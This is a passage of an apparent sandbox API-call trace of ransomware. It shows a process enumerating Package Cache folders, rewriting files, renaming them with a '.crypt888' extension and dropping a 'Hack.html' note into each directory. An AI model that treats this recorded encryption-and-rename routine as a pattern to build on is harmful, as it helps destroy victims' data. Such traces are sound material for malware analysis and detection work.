FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0089.585] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.585] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.585] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.586] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0089.586] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0089.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0089.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0089.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0089.586] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", lpFilePart=0x0) returned 0x5c [0089.586] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\", lpFilePart=0x0) returned 0x5d [0089.586] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0089.586] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.587] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.587] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.587] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0089.587] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0089.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0089.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0089.587] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html", lpFilePart=0x0) returned 0x66 [0089.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebd4) returned 1 [0089.587] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.588] GetFileType (hFile=0x174) returned 0x1 [0089.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebd0) returned 1 [0089.588] GetFileType (hFile=0x174) returned 0x1 [0089.588] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0xba [0089.588] ReadFile (in: hFile=0x174, lpBuffer=0x27e416c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x27e416c*, lpNumberOfBytesRead=0x39ec88*=0xba, lpOverlapped=0x0) returned 1 [0089.589] CloseHandle (hObject=0x174) returned 1 [0089.608] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html", lpFilePart=0x0) returned 0x66 [0089.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0089.608] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.609] GetFileType (hFile=0x174) returned 0x1 [0089.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb8) returned 1 [0089.609] GetFileType (hFile=0x174) returned 0x1 [0089.610] WriteFile (in: hFile=0x174, lpBuffer=0x2832340*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec4c, lpOverlapped=0x0 | out: lpBuffer=0x2832340*, lpNumberOfBytesWritten=0x39ec4c*=0xc0, lpOverlapped=0x0) returned 1 [0089.611] CloseHandle (hObject=0x174) returned 1 [0089.611] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html", lpFilePart=0x0) returned 0x66 [0089.611] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html.crypt888", lpFilePart=0x0) returned 0x6f [0089.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec60) returned 1 [0089.611] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ecdc | out: lpFileInformation=0x39ecdc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbd84c80, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbd84c80, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc69cc4c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec5c) returned 1 [0089.611] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\hack.html.crypt888")) returned 1 [0089.612] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html", lpFilePart=0x0) returned 0x66 [0089.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0089.612] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.614] GetFileType (hFile=0x174) returned 0x1 [0089.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0089.614] GetFileType (hFile=0x174) returned 0x1 [0089.614] WriteFile (in: hFile=0x174, lpBuffer=0x2834eac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x2834eac*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0089.615] CloseHandle (hObject=0x174) returned 1 [0089.616] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html", lpFilePart=0x0) returned 0x62 [0089.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0089.616] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.616] GetFileType (hFile=0x174) returned 0x1 [0089.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0089.616] GetFileType (hFile=0x174) returned 0x1 [0089.616] WriteFile (in: hFile=0x174, lpBuffer=0x283773c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x283773c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0089.617] CloseHandle (hObject=0x174) returned 1 [0089.618] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html", lpFilePart=0x0) returned 0x5c [0089.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0089.618] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.618] GetFileType (hFile=0x174) returned 0x1 [0089.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0089.618] GetFileType (hFile=0x174) returned 0x1 [0089.618] WriteFile (in: hFile=0x174, lpBuffer=0x2839fb4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2839fb4*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0089.619] CloseHandle (hObject=0x174) returned 1 [0089.620] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html", lpFilePart=0x0) returned 0x53 [0089.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0089.620] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.622] GetFileType (hFile=0x174) returned 0x1 [0089.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0089.622] GetFileType (hFile=0x174) returned 0x1 [0089.622] WriteFile (in: hFile=0x174, lpBuffer=0x283c804*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x283c804*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0089.623] CloseHandle (hObject=0x174) returned 1 [0089.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.623] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpFilePart=0x0) returned 0x49 [0089.624] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\", lpFilePart=0x0) returned 0x4a [0089.624] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0089.624] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.624] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.624] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.624] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.625] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0089.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.625] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpFilePart=0x0) returned 0x49 [0089.625] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\", lpFilePart=0x0) returned 0x4a [0089.625] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0089.625] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.625] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.626] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.626] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.626] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0089.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.626] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html", lpFilePart=0x0) returned 0x53 [0089.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0089.626] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.626] GetFileType (hFile=0x174) returned 0x1 [0089.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0089.626] GetFileType (hFile=0x174) returned 0x1 [0089.627] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.627] ReadFile (in: hFile=0x174, lpBuffer=0x283fa94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x283fa94*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.627] CloseHandle (hObject=0x174) returned 1 [0089.647] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html", lpFilePart=0x0) returned 0x53 [0089.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0089.647] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.648] GetFileType (hFile=0x174) returned 0x1 [0089.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0089.648] GetFileType (hFile=0x174) returned 0x1 [0089.649] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html", lpFilePart=0x0) returned 0x53 [0089.650] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html.crypt888", lpFilePart=0x0) returned 0x5c [0089.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0089.650] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdd0f40, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbdd0f40, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6a18780, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0089.650] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\hack.html.crypt888")) returned 1 [0089.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0089.651] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", lpFilePart=0x0) returned 0x52 [0089.651] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\", lpFilePart=0x0) returned 0x53 [0089.651] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a828 [0089.651] FindNextFileW (in: hFindFile=0x59a828, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.652] FindNextFileW (in: hFindFile=0x59a828, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.652] FindNextFileW (in: hFindFile=0x59a828, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.661] FindNextFileW (in: hFindFile=0x59a828, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0089.662] FindClose (in: hFindFile=0x59a828 | out: hFindFile=0x59a828) returned 1 [0089.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0089.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0089.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0089.662] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", lpFilePart=0x0) returned 0x52 [0089.662] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\", lpFilePart=0x0) returned 0x53 [0089.662] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a828 [0089.662] FindNextFileW (in: hFindFile=0x59a828, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.662] FindNextFileW (in: hFindFile=0x59a828, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.662] FindNextFileW (in: hFindFile=0x59a828, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.663] FindNextFileW (in: hFindFile=0x59a828, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0089.663] FindClose (in: hFindFile=0x59a828 | out: hFindFile=0x59a828) returned 1 [0089.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0089.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0089.663] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html", lpFilePart=0x0) returned 0x5c [0089.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0089.663] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.663] GetFileType (hFile=0x174) returned 0x1 [0089.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0089.663] GetFileType (hFile=0x174) returned 0x1 [0089.663] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0089.663] ReadFile (in: hFile=0x174, lpBuffer=0x2891378, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2891378*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0089.678] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: 